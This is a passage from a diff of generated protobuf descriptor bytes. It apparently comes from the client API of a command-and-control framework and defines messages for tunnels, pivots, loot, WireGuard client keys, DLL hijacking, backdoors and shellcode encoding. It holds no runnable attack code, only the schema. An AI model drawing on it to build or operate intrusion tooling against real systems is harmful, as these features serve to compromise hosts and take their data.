0x6c, 0x49, 0x44, 0x22, 0x5d, 0x0a, 0x0e, + 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x1e, + 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, + 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x12, 0x2b, + 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xa1, 0x01, 0x0a, 0x0f, + 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, + 0x16, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, + 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x43, 0x68, 0x69, 0x6c, + 0x64, 0x72, 0x65, 0x6e, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x22, + 0x43, 0x0a, 0x0a, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x35, 0x0a, + 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, + 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x68, 0x69, 0x6c, + 0x64, 0x72, 0x65, 0x6e, 0x22, 0x5c, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x0e, + 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, + 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, + 0x6f, 0x72, 0x22, 0xed, 0x01, 0x0a, 0x05, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x12, 0x1c, 0x0a, 0x09, + 0x45, 0x76, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x09, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, + 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x28, 0x0a, 0x06, 0x42, 0x65, 0x61, 0x63, 0x6f, + 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x52, 0x06, 0x42, 0x65, 0x61, 0x63, 0x6f, + 0x6e, 0x12, 0x1f, 0x0a, 0x03, 0x4a, 0x6f, 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0d, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x52, 0x03, 0x4a, + 0x6f, 0x62, 0x12, 0x28, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x52, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, + 0x44, 0x61, 0x74, 0x61, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, + 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, + 0x72, 0x72, 0x22, 0x36, 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x16, + 0x0a, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, + 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x74, 0x0a, 0x0a, 0x57, 0x65, + 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x20, 0x0a, 0x0b, + 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, + 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, + 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, + 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, + 0x22, 0xc1, 0x01, 0x0a, 0x11, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, + 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x45, 0x0a, 0x08, 0x43, 0x6f, + 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x29, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, + 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x2e, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, + 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, + 0x73, 0x1a, 0x51, 0x0a, 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, + 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x3a, 0x02, 0x38, 0x01, 0x22, 0x40, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, + 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x12, 0x14, 0x0a, 0x05, 0x50, 0x61, 0x74, 0x68, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, + 0x05, 0x50, 0x61, 0x74, 0x68, 0x73, 0x22, 0xad, 0x01, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, + 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x3b, 0x0a, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, + 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x2e, 0x43, 0x6f, 0x6e, 0x74, + 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, + 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x39, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, + 0x65, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x18, 0x01, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, + 0x73, 0x22, 0xa0, 0x01, 0x0a, 0x0e, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, + 0x6e, 0x66, 0x69, 0x67, 0x12, 0x22, 0x0a, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, + 0x62, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x53, 0x65, 0x72, 0x76, + 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x10, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, + 0x65, 0x4b, 0x65, 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, + 0x62, 0x4b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x43, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x49, 0x50, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x43, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x49, 0x50, 0x22, 0xba, 0x01, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x0e, 0x0a, + 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, + 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x46, + 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, + 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, + 0x55, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, + 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x69, 0x7a, + 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, + 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, + 0x65, 0x22, 0x2d, 0x0a, 0x07, 0x41, 0x6c, 0x6c, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x22, 0x0a, 0x04, + 0x4c, 0x6f, 0x6f, 0x74, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x04, 0x4c, 0x6f, 0x6f, 0x74, + 0x22, 0x45, 0x0a, 0x03, 0x49, 0x4f, 0x43, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x46, + 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, + 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x22, 0x27, 0x0a, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, + 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x75, 0x74, 0x70, + 0x75, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, + 0x22, 0xdf, 0x02, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, + 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, + 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, + 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, + 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, + 0x21, 0x0a, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x4f, 0x43, 0x52, 0x04, 0x49, 0x4f, + 0x43, 0x73, 0x12, 0x47, 0x0a, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, + 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, + 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0d, 0x45, 0x78, + 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x4c, + 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4c, 0x6f, 0x63, + 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, + 0x61, 0x63, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, + 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x1a, 0x59, 0x0a, 0x12, 0x45, 0x78, 0x74, 0x65, 0x6e, + 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, + 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, + 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, + 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, + 0x38, 0x01, 0x22, 0x30, 0x0a, 0x08, 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x24, + 0x0a, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x52, 0x05, 0x48, + 0x6f, 0x73, 0x74, 0x73, 0x22, 0xf3, 0x01, 0x0a, 0x0c, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, + 0x63, 0x6b, 0x52, 0x65, 0x71, 0x12, 0x2a, 0x0a, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, + 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, 0x61, 0x74, + 0x68, 0x12, 0x26, 0x0a, 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, + 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x52, 0x65, 0x66, + 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x12, 0x1c, 0x0a, + 0x09, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, + 0x52, 0x09, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x12, 0x20, 0x0a, 0x0b, 0x50, + 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3a, 0x0a, 0x08, 0x42, 0x61, - 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xeb, 0x01, 0x0a, 0x12, 0x53, 0x68, 0x65, 0x6c, 0x6c, - 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x65, 0x71, 0x12, 0x34, 0x0a, - 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, - 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, - 0x64, 0x65, 0x72, 0x12, 0x22, 0x0a, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, - 0x75, 0x72, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, - 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x49, 0x74, 0x65, - 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, - 0x61, 0x72, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, - 0x61, 0x72, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x22, 0x55, 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, - 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, - 0x08, 0x20, 0x01, 